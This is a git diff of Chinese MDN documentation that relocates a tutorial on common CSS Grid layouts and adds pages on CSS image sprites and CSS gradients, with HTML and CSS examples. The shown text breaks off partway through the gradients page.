+      "nav    content ad"
+      "footer footer  footer"
+   }
+   nav ul {
+     flex-direction: column;
+   }
+}
+
+ +

三列布局有两个1fr单元侧列和一个中间列,轨道大小为4fr。这意味着容器中的可用空间被划分为6个部分,并按照我们的三个轨道的比例分配—每个轨道的一个部分位于侧列,四个部分位于中心。

+ +

在这个布局中,我在左边的列中显示导航,旁边是内容。在右边栏我们有侧边栏,在它下面是广告。页脚现在横跨布局的底部。然后我使用一个flex xbox将导航显示为一个列。

+ +

{{ EmbedLiveSample('layout_1', '800', '500') }}

+
+ +

这是一个简单的示例,但是演示了如何使用网格布局来为不同的断点重新安排布局。具体来说,我正在更改广告块的位置,这在不同的列设置中是合适的。我发现这种命名区域的方法在原型制作阶段非常有用,很容易处理元素的位置。您可以始终以这种方式开始使用grid进行原型设计,即使由于访问您站点的浏览器的原因,您不能在生产中完全依赖它。

+ +

灵活的12列布局

+ +

如果您使用过许多框架或网格系统之一,那么您可能已经习惯了将站点布置在12或16列的灵活网格上。我们可以使用CSS网格布局创建这种类型的系统。作为一个简单的例子,我正在创建一个12列的灵活网格,它有12个1fr-unit列轨道,它们都有一个名为col-start 的起始行。这意味着我们将拥有12条名为 col-start 的网格线。

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+
+ +

为了演示这个网格系统是如何工作的,我在包装器中包含了4个子元素。

+ +
<div class="wrapper">
+  <div class="item1">Start column line 1, span 3 column tracks.</div>
+  <div class="item2">Start column line 6, span 4 column tracks. 2 row tracks.</div>
+  <div class="item3">Start row 2 column line 2, span 2 column tracks.</div>
+  <div class="item4">Start at column line 3, span to the end of the grid (-1).</div>
+</div>
+
+ +

然后,我可以使用命名行和span关键字将它们放到网格上。

+ +
.item1 {
+  grid-column: col-start / span 3;
+}
+.item2 {
+  grid-column: col-start 6 / span 4 ;
+  grid-row: 1 / 3;
+}
+.item3 {
+  grid-column: col-start 2 / span 2;
+  grid-row: 2;
+}
+.item4 {
+  grid-column: col-start 3 / -1;
+  grid-row: 3;
+}
+
+ +

{{ EmbedLiveSample('layout_2', '800', '400') }}

+
+ +

正如命名行指南中所述,我们使用命名行来放置项目。因为我们有12行名称相同,所以我们使用名称,然后是行索引。如果您喜欢并完全避免使用命名行,也可以使用行索引本身。

+ +

我没有设置结束行号,而是选择使用span关键字表示这个元素应该跨多少个轨道。我喜欢这种方法,因为在使用多列布局系统时,我们通常根据网格的轨迹数量来考虑块,并根据不同的断点进行调整。要查看块如何与轨道对齐,请使用 Firefox Grid Inspector. 。它清楚地展示了我们的项目是如何放置的。

+ +

Showing the items placed on the grid with grid tracks highlighted.

+ +

与您以前可能使用过的网格系统上的网格布局的工作方式有一些关键区别。如您所见,我们不需要添加任何标记来创建行,网格系统需要这样做来阻止元素弹出到上面的行中。使用CSS网格布局,我们可以将内容放入行中,如果行是空的,则它们不会上升到上面的行中。由于这种严格的列和行布局,我们也可以很容易地在布局中留出空白。我们也不需要特殊的类来拉或推东西,将它们缩进网格。我们需要做的就是指定项目的开始和结束行。

+ +

使用12列系统构建布局

+ +

为了了解这种布局方法在实践中是如何工作的,我们可以使用12列网格系统创建与使用{{cssxref("grid-template-areas")}}创建的布局相同的布局。我开始使用与网格模板区域示例相同的标记。

+ +
+ + +
<div class="wrapper">
+        <header class="main-head">The header</header>
+        <nav class="main-nav">
+            <ul>
+                <li><a href="">Nav 1</a></li>
+                <li><a href="">Nav 2</a></li>
+                <li><a href="">Nav 3</a></li>
+            </ul>
+        </nav>
+        <article class="content"><h1>Main article area</h1>
+        <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p></article>
+        <aside class="side">Sidebar</aside>
+        <div class="ad">Advertising</div>
+        <footer class="main-footer">The footer</footer>
+    </div>
+
+ +

然后,我可以设置网格,如上面的示例12列布局。

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+
+ +

我们将再次使其成为响应式布局,不过这次使用的是命名行。每个断点都将使用一个12列的网格,但是,根据屏幕的大小,项目将跨越的轨道数量会发生变化。

+ +

我们首先启动移动设备,对于最窄的屏幕,我们想要的只是保持项目的源顺序,并且所有项目都跨越网格。

+ +
.wrapper > * {
+  grid-column: col-start / span 12;
+}
+
+ +

在下一个断点处,我们希望转移到两列布局。我们的标题和导航仍然跨整个网格,所以我们不需要为它们指定任何位置。侧边栏从第一行colstart开始,共3行。它在第3行之后,因为标题和导航位于前两行轨道中。

+ +

ad面板位于边栏下面,因此从网格行4开始。然后我们有内容和页脚,从colstart 4开始,跨越9个轨道,把它们带到网格的末端。

+ +
@media (min-width: 500px) {
+
+  .side {
+    grid-column: col-start / span 3;
+    grid-row: 3;
+  }
+  .ad {
+    grid-column: col-start / span 3;
+    grid-row: 4;
+  }
+  .content, .main-footer {
+    grid-column: col-start 4 / span 9;
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+ +

最后,我们转到这个布局的三列版本。标题继续横跨整个网格,但现在导航将向下移动,成为第一个侧边栏,其中包含内容,然后是旁边的侧边栏。页脚现在也跨整个布局。

+ +
@media (min-width: 700px) {
+  .main-nav {
+    grid-column: col-start / span 2;
+    grid-row: 2 / 4;
+  }
+  .content {
+    grid-column: col-start 3 / span 8;
+    grid-row: 2 / 4;
+  }
+  .side {
+    grid-column: col-start 11 / span 2;
+    grid-row: 2;
+  }
+  .ad {
+    grid-column: col-start 11 / span 2;
+    grid-row: 3;
+  }
+  .main-footer {
+    grid-column: col-start / span 12;
+  }
+  nav ul {
+    flex-direction: column;
+  }
+}
+
+ +

{{ EmbedLiveSample('layout_3', '800', '450') }}

+
+ +

网格检查器再次帮助我们了解布局是如何形成的。

+ +

Showing the layout with grid tracks highlighted by the grid inspector.

+ +

在创建这个布局时需要注意的一点是,我们不需要在每个断点显式地定位网格上的每个元素。我们能够继承为早期断点设置的位置——这是移动优先”的优势。我们还可以利用网格自动布局。通过保持元素的逻辑顺序,自动布局为我们将项目放到网格上做了很多工作。在本指南的最后一个示例中,我们将创建完全依赖自动布局的布局。

+ +

自动放置的产品列表

+ +

许多布局基本上是一组“卡片”——产品列表、图像库等等。网格可以使创建这些清单变得非常容易,而且无需添加媒体查询就可以响应。在下一个例子中,我将CSS Grid和flexbox布局相结合,以创建一个简单的产品列表布局。

+ +

我的列表的标记是一个无序的项目列表。每个项目都包含一个标题、一些不同高度的文本和对action链接的调用。

+ +
+
<ul class="listing">
+  <li>
+    <h2>Item One</h2>
+    <div class="body"><p>The content of this listing item goes here.</p></div>
+    <div class="cta"><a href="">Call to action!</a></div>
+  </li>
+   <li>
+     <h2>Item Two</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+   </li>
+   <li class="wide">
+     <h2>Item Three</h2>
+     <div class="body"><p>The content of this listing item goes here.</p>
+     <p>This one has more text than the other items.</p>
+     <p>Quite a lot more</p>
+     <p>Perhaps we could do something different with it?</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+    <li>
+     <h2>Item Four</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+     <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+     <li>
+     <h2>Item Five</h2>
+     <div class="body"><p>The content of this listing item goes here.</p></div>
+      <div class="cta"><a href="">Call to action!</a></div>
+    </li>
+</ul>
+
+ + + +

我们将创建一个具有灵活数量的灵活列的网格。我希望它们永远不要小于200像素,然后平等地共享任何可用的剩余空间——所以我们总是得到相同宽度的列轨迹。我们使用minmax()函数实现了这一点,该函数是用于轨道大小的重复表示法。

+ +
.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+
+ +

一旦我添加了这个CSS,项目就开始以网格的形式展开。如果我让窗口变小或变宽,列跟踪的数量就会发生变化,而不需要使用媒体查询添加断点并重新定义网格。

+ +

然后,我就可以使用flex touch来整理这些盒子的内部结构。 我将列表项设置为 display: flex flex-direction 设置为 column。 然后,我可以在 .cta 上使用自动边界将这个工具条推到盒子底部。

+ +
.listing li {
+  border: 1px solid #ffe066;
+  border-radius: 5px;
+  display: flex;
+  flex-direction: column;
+}
+.listing .cta {
+  margin-top: auto;
+  border-top: 1px solid #ffe066;
+  padding: 10px;
+  text-align: center;
+}
+.listing .body {
+  padding: 10px;
+}
+
+ +

这是我使用flexbox而不是grid的一个关键原因,如果我只是在一个维度上调整或发布一些东西,那就是一个flexbox用例。

+ +

{{ EmbedLiveSample('layout_4', '800', '900') }}

+
+ +

这一切现在看起来相当完整,然而我们有时拥有这些卡片,其中包含的内容比其他卡片多得多。让它们跨越两条轨道可能很好,这样它们就不会那么高了。我在较大的项目上有一个wide类,我添加了一个规则{{cssxref("grid-column-end")}},其值为span 2。现在,当grid遇到这个项目时,它将为它分配两个轨道。在某些断点处,这意味着我们将在网格中得到一个缺口——在这个缺口中没有空间放置一个双轨项目。

+ +

The layout has gaps as there is not space to layout a two track item.

+ +

我可以通过设置{{cssxref("grid-auto-flow")}}: dense 在网格容器上设置稠密,从而使网格填充这些空白。但是,在这样做时要小心,因为它会使项目偏离其逻辑源顺序。您应该只在项目没有设置顺序时才这样做——并且要注意源文件后面的选项卡顺序的问题,而不是重新排序的显示。

+ +
+ + +
.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-auto-flow: dense;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+.listing .wide {
+  grid-column-end: span 2;
+}
+
+ +

{{ EmbedLiveSample('layout_5', '800', '900') }}

+ +

这种技术使用auto-placement一些规则应用于某些物品是非常有用的,并且可以帮助你处理的内容是由CMS例如,输出有重复项,或许可以添加一个类特定的呈现为HTML。

+
+ +

Further exploration

+ +

学习使用网格布局的最佳方法是继续构建我们在这里介绍的示例。选择一些您通常使用选择的框架构建的东西,或者使用浮动构建的东西,看看是否可以使用grid构建它。不要忘记寻找用当前方法无法构建的示例。这可能意味着从杂志或其他非网络资源中获取灵感。网格布局提供了我们以前没有过的可能性,我们不需要绑定到相同的旧布局来使用它。

+ +
    +
  • 有关灵感,请参阅 Layout Labs from Jen Simmons, 她一直在创建基于一系列资源的布局。
  • +
  • 有关其他常见布局模式,请参见 Grid by Example, 这里有许多网格布局的小例子,也有一些较大的UI模式和完整的页面布局。
  • +
+ + diff --git "a/files/zh-cn/web/css/css_grid_layout/\345\210\251\347\224\250css\347\275\221\346\240\274\345\270\203\345\261\200\345\256\236\347\216\260\345\270\270\347\224\250\345\270\203\345\261\200/index.html" "b/files/zh-cn/web/css/css_grid_layout/\345\210\251\347\224\250css\347\275\221\346\240\274\345\270\203\345\261\200\345\256\236\347\216\260\345\270\270\347\224\250\345\270\203\345\261\200/index.html" deleted file mode 100644 index 1f19e6933b..0000000000 --- "a/files/zh-cn/web/css/css_grid_layout/\345\210\251\347\224\250css\347\275\221\346\240\274\345\270\203\345\261\200\345\256\236\347\216\260\345\270\270\347\224\250\345\270\203\345\261\200/index.html" +++ /dev/null @@ -1,593 +0,0 @@ ---- -title: 利用CSS网格布局实现常用布局 -slug: Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局 -translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout ---- -

为了完善这组CSS网格布局指南,我将介绍几种不同的布局,它们演示了在使用网格布局进行设计时可以使用的一些不同技术。我们将看到一个使用 grid-template-areas 的示例,一个典型的12列灵活网格系统,以及一个使用自动布局的产品列表。正如您从这组示例中看到的,使用网格布局通常有不止一种方法来实现您想要的结果。选择对您正在解决的问题和需要实现的设计最有帮助的方法。

- -

使用网格模板区域的响应式布局,包含1到3个流动列

- -

许多网站都是这种布局的变体,有内容、边栏、页眉和页脚。在响应式设计中,您可能希望将布局显示为单个列,在某个断点添加侧栏,然后为更宽的屏幕引入三列布局。

- -

Image of the three different layouts created by redefining our grid at two breakpoints.

- -

我将使用我们在向导网格模板区域中了解到的命名模板区域来创建这个布局。

- -

我的标记是一个容器,其中包含用于标题、页脚、主要内容、导航、边栏和打算放置广告的块的元素。

- -
- - -
<div class="wrapper">
-        <header class="main-head">The header</header>
-        <nav class="main-nav">
-            <ul>
-                <li><a href="">Nav 1</a></li>
-                <li><a href="">Nav 2</a></li>
-                <li><a href="">Nav 3</a></li>
-            </ul>
-        </nav>
-        <article class="content">
-            <h1>Main article area</h1>
-            <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p>
-        </article>
-        <aside class="side">Sidebar</aside>
-        <div class="ad">Advertising</div>
-        <footer class="main-footer">The footer</footer>
-</div>
-
- -

因为我们使用{{cssxref("grid-template-areas")}}来创建布局。在任何媒体查询之外,我需要命名区域。我们使用{{cssxref("grid-area")}} 属性命名区域。

- -
.main-head {
-  grid-area: header;
-}
-.content {
-  grid-area: content;
-}
-.main-nav {
-  grid-area: nav;
-}
-.side {
-  grid-area: sidebar;
-}
-.ad {
-  grid-area: ad;
-}
-.main-footer {
-  grid-area: footer;
-}
-
- -

这不会创建任何布局,但是我们的项目现在有了名称,我们可以使用它来创建布局。在任何媒体查询之外,我现在要为移动宽度设置布局。在这里,我保持源文件的顺序,试图避免源文件和显示之间的任何断开,就像向导网格布局和可访问性中描述的那样。我没有定义任何列或行跟踪,但是这种布局规定了单个列,并且将根据需要为隐式网格中的每个项目创建行。

- -
.wrapper {
-  display: grid;
-  grid-gap: 20px;
-  grid-template-areas:
-    "header"
-    "nav"
-    "content"
-    "sidebar"
-    "ad"
-    "footer";
-}
-
- -

在设置了移动布局之后,我们将获得所有屏幕大小的这一列,现在我们可以添加一个媒体查询并重新定义布局,以满足屏幕空间足够显示两列的情况。

- -
@media (min-width: 500px) {
-  .wrapper {
-    grid-template-columns: 1fr 3fr;
-    grid-template-areas:
-      "header  header"
-      "nav     nav"
-      "sidebar content"
-      "ad      footer";
-  }
-  nav ul {
-    display: flex;
-    justify-content: space-between;
-  }
-}
-
- -

您可以看到布局在{{cssxref("grid-template-areas")}}的值中成形。 header 跨越两个列轨道,就像 nav 一样。在第三行轨道中,我们在 content 旁边有 sidebar 。在第四行轨道,我选择了放置我的广告内容-所以它出现在侧边栏下,然后 footer 旁边的内容。我在导航栏上使用了一个flexbox来显示它。

- -

现在我可以添加最后一个断点来移动到三列布局。

- -
@media (min-width: 700px) {
-  .wrapper {
-    grid-template-columns: 1fr 4fr 1fr;
-    grid-template-areas:
-      "header header  header"
-      "nav    content sidebar"
-      "nav    content ad"
-      "footer footer  footer"
-   }
-   nav ul {
-     flex-direction: column;
-   }
-}
-
- -

三列布局有两个1fr单元侧列和一个中间列,轨道大小为4fr。这意味着容器中的可用空间被划分为6个部分,并按照我们的三个轨道的比例分配—每个轨道的一个部分位于侧列,四个部分位于中心。

- -

在这个布局中,我在左边的列中显示导航,旁边是内容。在右边栏我们有侧边栏,在它下面是广告。页脚现在横跨布局的底部。然后我使用一个flex xbox将导航显示为一个列。

- -

{{ EmbedLiveSample('layout_1', '800', '500') }}

-
- -

这是一个简单的示例,但是演示了如何使用网格布局来为不同的断点重新安排布局。具体来说,我正在更改广告块的位置,这在不同的列设置中是合适的。我发现这种命名区域的方法在原型制作阶段非常有用,很容易处理元素的位置。您可以始终以这种方式开始使用grid进行原型设计,即使由于访问您站点的浏览器的原因,您不能在生产中完全依赖它。

- -

灵活的12列布局

- -

如果您使用过许多框架或网格系统之一,那么您可能已经习惯了将站点布置在12或16列的灵活网格上。我们可以使用CSS网格布局创建这种类型的系统。作为一个简单的例子,我正在创建一个12列的灵活网格,它有12个1fr-unit列轨道,它们都有一个名为col-start 的起始行。这意味着我们将拥有12条名为 col-start 的网格线。

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(12, [col-start] 1fr);
-  grid-gap: 20px;
-}
-
- -

为了演示这个网格系统是如何工作的,我在包装器中包含了4个子元素。

- -
<div class="wrapper">
-  <div class="item1">Start column line 1, span 3 column tracks.</div>
-  <div class="item2">Start column line 6, span 4 column tracks. 2 row tracks.</div>
-  <div class="item3">Start row 2 column line 2, span 2 column tracks.</div>
-  <div class="item4">Start at column line 3, span to the end of the grid (-1).</div>
-</div>
-
- -

然后,我可以使用命名行和span关键字将它们放到网格上。

- -
.item1 {
-  grid-column: col-start / span 3;
-}
-.item2 {
-  grid-column: col-start 6 / span 4 ;
-  grid-row: 1 / 3;
-}
-.item3 {
-  grid-column: col-start 2 / span 2;
-  grid-row: 2;
-}
-.item4 {
-  grid-column: col-start 3 / -1;
-  grid-row: 3;
-}
-
- -

{{ EmbedLiveSample('layout_2', '800', '400') }}

-
- -

正如命名行指南中所述,我们使用命名行来放置项目。因为我们有12行名称相同,所以我们使用名称,然后是行索引。如果您喜欢并完全避免使用命名行,也可以使用行索引本身。

- -

我没有设置结束行号,而是选择使用span关键字表示这个元素应该跨多少个轨道。我喜欢这种方法,因为在使用多列布局系统时,我们通常根据网格的轨迹数量来考虑块,并根据不同的断点进行调整。要查看块如何与轨道对齐,请使用 Firefox Grid Inspector. 。它清楚地展示了我们的项目是如何放置的。

- -

Showing the items placed on the grid with grid tracks highlighted.

- -

与您以前可能使用过的网格系统上的网格布局的工作方式有一些关键区别。如您所见,我们不需要添加任何标记来创建行,网格系统需要这样做来阻止元素弹出到上面的行中。使用CSS网格布局,我们可以将内容放入行中,如果行是空的,则它们不会上升到上面的行中。由于这种严格的列和行布局,我们也可以很容易地在布局中留出空白。我们也不需要特殊的类来拉或推东西,将它们缩进网格。我们需要做的就是指定项目的开始和结束行。

- -

使用12列系统构建布局

- -

为了了解这种布局方法在实践中是如何工作的,我们可以使用12列网格系统创建与使用{{cssxref("grid-template-areas")}}创建的布局相同的布局。我开始使用与网格模板区域示例相同的标记。

- -
- - -
<div class="wrapper">
-        <header class="main-head">The header</header>
-        <nav class="main-nav">
-            <ul>
-                <li><a href="">Nav 1</a></li>
-                <li><a href="">Nav 2</a></li>
-                <li><a href="">Nav 3</a></li>
-            </ul>
-        </nav>
-        <article class="content"><h1>Main article area</h1>
-        <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p></article>
-        <aside class="side">Sidebar</aside>
-        <div class="ad">Advertising</div>
-        <footer class="main-footer">The footer</footer>
-    </div>
-
- -

然后,我可以设置网格,如上面的示例12列布局。

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(12, [col-start] 1fr);
-  grid-gap: 20px;
-}
-
- -

我们将再次使其成为响应式布局,不过这次使用的是命名行。每个断点都将使用一个12列的网格,但是,根据屏幕的大小,项目将跨越的轨道数量会发生变化。

- -

我们首先启动移动设备,对于最窄的屏幕,我们想要的只是保持项目的源顺序,并且所有项目都跨越网格。

- -
.wrapper > * {
-  grid-column: col-start / span 12;
-}
-
- -

在下一个断点处,我们希望转移到两列布局。我们的标题和导航仍然跨整个网格,所以我们不需要为它们指定任何位置。侧边栏从第一行colstart开始,共3行。它在第3行之后,因为标题和导航位于前两行轨道中。

- -

ad面板位于边栏下面,因此从网格行4开始。然后我们有内容和页脚,从colstart 4开始,跨越9个轨道,把它们带到网格的末端。

- -
@media (min-width: 500px) {
-
-  .side {
-    grid-column: col-start / span 3;
-    grid-row: 3;
-  }
-  .ad {
-    grid-column: col-start / span 3;
-    grid-row: 4;
-  }
-  .content, .main-footer {
-    grid-column: col-start 4 / span 9;
-  }
-  nav ul {
-    display: flex;
-    justify-content: space-between;
-  }
-}
-
- -

最后,我们转到这个布局的三列版本。标题继续横跨整个网格,但现在导航将向下移动,成为第一个侧边栏,其中包含内容,然后是旁边的侧边栏。页脚现在也跨整个布局。

- -
@media (min-width: 700px) {
-  .main-nav {
-    grid-column: col-start / span 2;
-    grid-row: 2 / 4;
-  }
-  .content {
-    grid-column: col-start 3 / span 8;
-    grid-row: 2 / 4;
-  }
-  .side {
-    grid-column: col-start 11 / span 2;
-    grid-row: 2;
-  }
-  .ad {
-    grid-column: col-start 11 / span 2;
-    grid-row: 3;
-  }
-  .main-footer {
-    grid-column: col-start / span 12;
-  }
-  nav ul {
-    flex-direction: column;
-  }
-}
-
- -

{{ EmbedLiveSample('layout_3', '800', '450') }}

-
- -

网格检查器再次帮助我们了解布局是如何形成的。

- -

Showing the layout with grid tracks highlighted by the grid inspector.

- -

在创建这个布局时需要注意的一点是,我们不需要在每个断点显式地定位网格上的每个元素。我们能够继承为早期断点设置的位置——这是移动优先”的优势。我们还可以利用网格自动布局。通过保持元素的逻辑顺序,自动布局为我们将项目放到网格上做了很多工作。在本指南的最后一个示例中,我们将创建完全依赖自动布局的布局。

- -

自动放置的产品列表

- -

许多布局基本上是一组“卡片”——产品列表、图像库等等。网格可以使创建这些清单变得非常容易,而且无需添加媒体查询就可以响应。在下一个例子中,我将CSS Grid和flexbox布局相结合,以创建一个简单的产品列表布局。

- -

我的列表的标记是一个无序的项目列表。每个项目都包含一个标题、一些不同高度的文本和对action链接的调用。

- -
-
<ul class="listing">
-  <li>
-    <h2>Item One</h2>
-    <div class="body"><p>The content of this listing item goes here.</p></div>
-    <div class="cta"><a href="">Call to action!</a></div>
-  </li>
-   <li>
-     <h2>Item Two</h2>
-     <div class="body"><p>The content of this listing item goes here.</p></div>
-     <div class="cta"><a href="">Call to action!</a></div>
-   </li>
-   <li class="wide">
-     <h2>Item Three</h2>
-     <div class="body"><p>The content of this listing item goes here.</p>
-     <p>This one has more text than the other items.</p>
-     <p>Quite a lot more</p>
-     <p>Perhaps we could do something different with it?</p></div>
-     <div class="cta"><a href="">Call to action!</a></div>
-    </li>
-    <li>
-     <h2>Item Four</h2>
-     <div class="body"><p>The content of this listing item goes here.</p></div>
-     <div class="cta"><a href="">Call to action!</a></div>
-    </li>
-     <li>
-     <h2>Item Five</h2>
-     <div class="body"><p>The content of this listing item goes here.</p></div>
-      <div class="cta"><a href="">Call to action!</a></div>
-    </li>
-</ul>
-
- - - -

我们将创建一个具有灵活数量的灵活列的网格。我希望它们永远不要小于200像素,然后平等地共享任何可用的剩余空间——所以我们总是得到相同宽度的列轨迹。我们使用minmax()函数实现了这一点,该函数是用于轨道大小的重复表示法。

- -
.listing {
-  list-style: none;
-  margin: 2em;
-  display: grid;
-  grid-gap: 20px;
-  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
-}
-
- -

一旦我添加了这个CSS,项目就开始以网格的形式展开。如果我让窗口变小或变宽,列跟踪的数量就会发生变化,而不需要使用媒体查询添加断点并重新定义网格。

- -

然后,我就可以使用flex touch来整理这些盒子的内部结构。 我将列表项设置为 display: flex flex-direction 设置为 column。 然后,我可以在 .cta 上使用自动边界将这个工具条推到盒子底部。

- -
.listing li {
-  border: 1px solid #ffe066;
-  border-radius: 5px;
-  display: flex;
-  flex-direction: column;
-}
-.listing .cta {
-  margin-top: auto;
-  border-top: 1px solid #ffe066;
-  padding: 10px;
-  text-align: center;
-}
-.listing .body {
-  padding: 10px;
-}
-
- -

这是我使用flexbox而不是grid的一个关键原因,如果我只是在一个维度上调整或发布一些东西,那就是一个flexbox用例。

- -

{{ EmbedLiveSample('layout_4', '800', '900') }}

-
- -

这一切现在看起来相当完整,然而我们有时拥有这些卡片,其中包含的内容比其他卡片多得多。让它们跨越两条轨道可能很好,这样它们就不会那么高了。我在较大的项目上有一个wide类,我添加了一个规则{{cssxref("grid-column-end")}},其值为span 2。现在,当grid遇到这个项目时,它将为它分配两个轨道。在某些断点处,这意味着我们将在网格中得到一个缺口——在这个缺口中没有空间放置一个双轨项目。

- -

The layout has gaps as there is not space to layout a two track item.

- -

我可以通过设置{{cssxref("grid-auto-flow")}}: dense 在网格容器上设置稠密,从而使网格填充这些空白。但是,在这样做时要小心,因为它会使项目偏离其逻辑源顺序。您应该只在项目没有设置顺序时才这样做——并且要注意源文件后面的选项卡顺序的问题,而不是重新排序的显示。

- -
- - -
.listing {
-  list-style: none;
-  margin: 2em;
-  display: grid;
-  grid-gap: 20px;
-  grid-auto-flow: dense;
-  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
-}
-.listing .wide {
-  grid-column-end: span 2;
-}
-
- -

{{ EmbedLiveSample('layout_5', '800', '900') }}

- -

这种技术使用auto-placement一些规则应用于某些物品是非常有用的,并且可以帮助你处理的内容是由CMS例如,输出有重复项,或许可以添加一个类特定的呈现为HTML。

-
- -

Further exploration

- -

学习使用网格布局的最佳方法是继续构建我们在这里介绍的示例。选择一些您通常使用选择的框架构建的东西,或者使用浮动构建的东西,看看是否可以使用grid构建它。不要忘记寻找用当前方法无法构建的示例。这可能意味着从杂志或其他非网络资源中获取灵感。网格布局提供了我们以前没有过的可能性,我们不需要绑定到相同的旧布局来使用它。

- -
    -
  • 有关灵感,请参阅 Layout Labs from Jen Simmons, 她一直在创建基于一系列资源的布局。
  • -
  • 有关其他常见布局模式,请参见 Grid by Example, 这里有许多网格布局的小例子,也有一些较大的UI模式和完整的页面布局。
  • -
- - diff --git a/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html b/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html new file mode 100644 index 0000000000..4a3e2bb7c9 --- /dev/null +++ b/files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html @@ -0,0 +1,49 @@ +--- +title: 在 CSS 中实现图像合并 +slug: Web/Guide/CSS/CSS_Image_Sprites +tags: + - CSS + - CSS Image + - Graphics + - Guide + - Web +translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS +--- +
{{cssRef}}
+ +

CSS 图像合并Image sprites) 技术,亦作 CSS 贴图定位、图像精灵(sprite,意为精灵),被运用于众多使用大量小图标的网页应用之上。它可取图像的一部分来使用,使得使用一个图像文件替代多个小文件成为可能。相较于一个小图标一个图像文件,单独一张图片所需的 HTTP 请求更少,对内存和带宽更加友好。

+ +
+

备注: 当使用 HTTP/2 时,使用多个小流量请求实际上可能更为带宽友好。

+
+ +

实现

+ +

若要为所有类名为 toolbtn 的元素附加上一张图片:

+ +
.toolbtn {
+  background: url(myfile.png);
+  display: inline-block;
+  height: 20px;
+  width: 20px;
+}
+
+ +

为设置 background-position 以使每个按钮得到合并后图片中的正确部分,可以在 background 属性中的 {{cssxref("url()")}} 后添加 x, y 两个坐标值,或直接使用 {{cssxref("background-position")}} 属性。例如:

+ +
#btn1 {background-position: -20px 0px}
+#btn2 {background-position: -40px 0px}
+
+ +

这会将 ID 为 btn1 的元素的背景向左移 20px,ID 为 btn2 的元素的背景向左移40px(假设这两个元素都带有 toolbtn 这个类且应用了上面 background 属性中定义的图片背景)

+ +

类似的,你也可以使用下面的代码添加悬停效果:

+ +
#btn:hover {
+  background-position: <pixels shifted right>px <pixels shifted down>px;
+}
+
+ +

深入阅读

+ +

CSS Tricks 上的完整 Demo:http://css-tricks.com/snippets/css/perfect-css-sprite-sliding-doors-button/

diff --git a/files/zh-cn/web/css/css_images/using_css_gradients/index.html b/files/zh-cn/web/css/css_images/using_css_gradients/index.html new file mode 100644 index 0000000000..21460cd820 --- /dev/null +++ b/files/zh-cn/web/css/css_images/using_css_gradients/index.html @@ -0,0 +1,717 @@ +--- +title: 使用 CSS 渐变 +slug: Web/Guide/CSS/Using_CSS_gradients +translation_of: Web/CSS/CSS_Images/Using_CSS_gradients +--- +
{{CSSRef}}
+ +

CSS 渐变 {{cssxref("<image>")}} 类型的一种特殊类型 {{cssxref("<gradient>")}} 表示,由两种或多种颜色之间的渐进过渡组成。您可以选择三种类型的渐变:线性 (由 {{cssxref("linear-gradient")}} 函数创建),径向(由 {{cssxref("radial-gradient")}} 函数创建) 和圆锥 (由 {{cssxref("conic-gradient")}} 函数创建)。您还可以使用 {{cssxref("repeating-linear-gradient")}} 和 {{cssxref("repeating-radial-gradient")}} 函数创建重复渐变。

+ +

渐变可以在任何使用 <image> 的地方使用,例如在背景中。 由于渐变是动态生成的,因此它们可以消除对传统用于实现类似效果的栅格图像文件的需求。 此外,由于渐变是由浏览器生成的,因此在放大时它们看起来比栅格图像更好,并且可以动态调整大小。

+ +

我们将从线性渐变开始介绍,然后以线性渐变为例介绍所有渐变类型支持的功能,然后继续介绍径向渐变,圆锥渐变和重复渐变。

+ +

使用线性渐变

+ +

线性渐变创建了一条沿直线前进的颜色带。

+ +
+

基础线性渐变

+ +

要创建最基本的渐变类型,您只需指定两种颜色即可。 这些被称为色标。 至少指定两个色标,也可以指定任意数量。

+ + + +
.simple-linear {
+  background: linear-gradient(blue, pink);
+}
+ +

{{ EmbedLiveSample('A_basic_linear_gradient', 120, 120) }}

+
+ +
+

改变渐变方向

+ +

默认情况下,线性渐变的方向是从上到下, 你可以指定一个值来改变渐变的方向。

+ + + +
.horizontal-gradient {
+  background: linear-gradient(to right, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('Changing_the_direction', 120, 120) }}

+
+ +
+

对角线渐变

+ +

你甚至可以设置渐变方向为从一个对角到另一个对角。

+ + + +
.diagonal-gradient {
+  background: linear-gradient(to bottom right, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('Diagonal_gradients', 200, 100) }}

+
+ +
+

设置渐变角度

+ +

如果你想要更精确地控制渐变的方向,你可以给渐变设置一个具体的角度。

+ + + +
.angled-gradient {
+  background: linear-gradient(70deg, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('Using_angles', 120, 120) }}

+ +

